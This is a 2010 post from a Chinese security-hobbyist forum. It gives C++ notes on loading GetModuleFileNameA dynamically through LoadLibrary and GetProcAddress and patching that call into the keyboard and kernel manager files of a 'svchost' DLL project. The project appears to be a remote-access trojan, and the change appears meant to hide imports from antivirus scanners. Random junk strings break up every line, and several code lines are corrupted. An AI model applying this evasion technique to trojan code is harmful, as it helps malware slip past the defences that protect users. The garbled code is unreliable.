标题:
[原创文章]
全局动态调用
[打印本页]
作者:
ice_xke
时间:
2010-10-19 12:30
标题:
全局动态调用
全局动态调用笔记
* W0 ~ E- S+ f; E9 F
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
, O. c% B* p0 o- U
----------------------------------------
: B% w) I2 @$ u% b: ^0 n9 j
DTDY.h:
2 e4 F) z' Q) K! B8 o5 E% N5 N( `# e
- B# j, p9 _0 W7 J! ^
#if _MSC_VER>1000
5 z1 J j0 o" P3 i$ X. N
#pragma once
1 D% F$ v% w: Z' N1 V+ w0 ]
#endif //_MSC_VER>1000
. a7 d0 B% A! t7 z8 ]+ n. w
#include<windows.h>
1 t3 g* T; }2 y' w& Y: @
# a/ S( W0 z: @+ ]$ T: |
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 b. y% [2 u! b; d U& A) y
class DTDY
9 |+ Q8 S7 X3 C" a7 ^* E' N
{
; i8 a2 ]6 N8 v% X& T
public:
( X/ Z/ ]' B- w5 ]5 k* \6 U& J
DTDY();
! F1 n% S$ }; ?% C: Y3 h9 T1 ^
virtual ~DTDY();
; t$ z# l4 T! |( n- U% }
public:
" D& }$ l; ~& c; j/ ~2 N: r( J7 o& `
static pGetModuleFileNameA MyGetModuleFileName;
9 Y; |+ y+ |3 {
static BOOL FunInitiallization();
& ]* O5 P- |; O3 U
};
- W9 z2 S, H& i s
#endif
: O) w4 C) v0 p; N
----------------------------------------
6 H" q& v% ]3 ]1 @' E
( ?) }; J# F4 w$ r$ U
DTDY.cpp:
8 Y# O h# |% \( f! ` v
9 p' {* I$ n4 @5 J9 Q( W
#include "DTDY.h"
! L7 [4 ~6 u* z% S) F
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
7 f4 E- h; O, u2 S) G& s7 h; z$ U
DTDY:TDY()
6 Z2 b( T3 R0 x" \* L0 ?/ M/ r
{
8 S2 ]7 _& |, B1 Q$ s6 x
}
" p8 _# x8 C- [( s' q( n
DTDY::~DTDY()
4 D$ [8 w% n5 Q3 x9 D
{
' N H: x+ M. H8 ?
}
6 A8 f# X& V+ m5 T
BOOL DTDY::FunInitiallization()
0 {# b" f9 l+ T1 Q" s; m
{
: m7 G6 D" @* \+ ~+ A9 \
HMODULE hModule=LoadLibrary("kernel32.dll");
$ |7 M8 Y. C7 z' [
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
~7 k0 f2 w8 E
if(!MyGetModuleFileName=) return FALSE;
' `/ | S6 A3 R* h0 G% w: v6 w
( A, N. G4 m5 `% W( o
return TRUE;
/ L4 O0 o A s6 `' }" v C* c T
}
0 T# X5 x/ l$ j; N2 M0 m
----------------------------------------
* O3 ~+ `1 i% I1 k5 s0 U: e
svchost.cpp:
0 Q R/ F, `( r1 m; [8 }
3 q3 G& F* M Q( o/ r2 s( `
#include "DTDY.h"
, {' ]5 y$ P; \' ?" J/ W- g
- W, D5 u7 L% R& k7 M6 X6 l
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
, s9 G1 D+ k7 N' B
{
$ l1 q1 k9 z2 S' q$ W* C
switch(ul_reason_for_call)
; ^6 q+ }& Z- t% p% W
{
1 Z7 Z' F, |! Z$ _1 f& _$ m
case DLL_PROCESS_ATTACH:
. C4 o4 d) M" x1 W. X8 z
if(!DTDY::FunInitiallization()) return FALSE;
7 |& `8 Q! u' Q. ~) X
: i# K3 E$ V. k& t$ D" ]. J
break;
; L$ o, p* C" L. d
}
0 r3 M9 |. K7 A% |/ b
}
9 P5 k6 ?. A- J( ]* S: d
( ?( X! P% ?/ o: ~3 ^- F$ E
# w( J( e2 b+ y, E
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
7 i$ N/ p) q8 E0 D
改写为
% h9 i/ U8 S; \0 q# _
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
2 a& O+ N6 O ^, B1 o
----------------------------------------
; o" |2 C/ E5 p3 ~7 f
KernelManager.cpp:
, r7 _8 ]4 ?0 X, C/ x. P
( D/ }( S/ d. A- t( H3 q
#include "../DTDY.h"
* U9 X \* p; f, h
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* G7 W( w& x m# I
改写为
4 C" g3 b, ]/ z3 z
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
1 R& S3 Y/ w) G. Q8 r
----------------------------------------
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2